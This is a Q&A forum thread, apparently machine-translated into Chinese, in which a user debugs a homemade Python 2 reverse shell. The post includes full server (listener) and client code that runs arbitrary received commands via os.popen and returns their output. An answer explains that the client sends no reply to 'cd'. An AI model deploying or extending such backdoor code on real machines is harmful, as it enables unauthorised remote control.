2017-06-12 79 views
0

我在Python 2中製作了一個反向shell。但是,我無法獲得cd(更改目錄)的工作。爲什麼cd不能在我的反轉外殼上工作?

這裏是我的server代碼:

#!/usr/bin/python 
import socket 

host = socket.gethostname() 
port = 1337 
s = socket.socket() 

s.bind((host, port)) 
s.listen(1) 
while True: 
    c, addr = s.accept() 
    print "Accepted connection from", addr 
    while True: 
     cmd = raw_input(">>> ") 
     c.send(cmd) 
     print c.recv(1024) 

s.close() 

,這裏是我的client代碼:

#!/usr/bin/python 
import socket, os 

s = socket.socket() 
host = socket.gethostname() 
port = 1337 

s.connect((host, port)) 
while True: 
    cmd = s.recv(1024) 
    if cmd[:2] == "cd": 
     os.chdir(str(cmd[3:])) 
    else: 
     o = os.popen(cmd).read() 
     s.send(o) 

我在做什麼錯?爲什麼更改目錄不工作?

編輯:命令行不會返回新的>>>提示。

+0

「不工作」是什麼意思?你是否得到了拋出異常的異常?如果是這樣,請包括整個錯誤打印輸出,包括回溯。 – Billy

+0

@Billy命令行不會返回新的「>>>」提示。 –

+0

在您的客戶端中,您不會發送任何'cd'命令的響應,因此服務器將等待'recv' – FujiApple

回答

2

這裏的問題是,服務器代碼需要每命令對的響應,但對於cd命令,客戶端不提供任何響應。

在服務器上您有:

while True: 
    cmd = raw_input(">>> ") 
    c.send(cmd)    # send the command to the client 
    print c.recv(1024)  # block and then read (up to) 1024 characters from the client 

但是在客戶端,你做的事:

while True: 
    cmd = s.recv(1024)   # block and then read (up to) 1024 characters from the server 
    if cmd[:2] == "cd": 
     os.chdir(str(cmd[3:])) # no response sent for the `cd` case 
    else: 
     o = os.popen(cmd).read() 
     s.send(o)     # send a response to the server for all other cases 

一個簡單的解決辦法是有cd情況下返回一個OK響應的服務器丟棄。

請注意,在Python套接字中,因此socket.recv()blocking operation by default

相關問題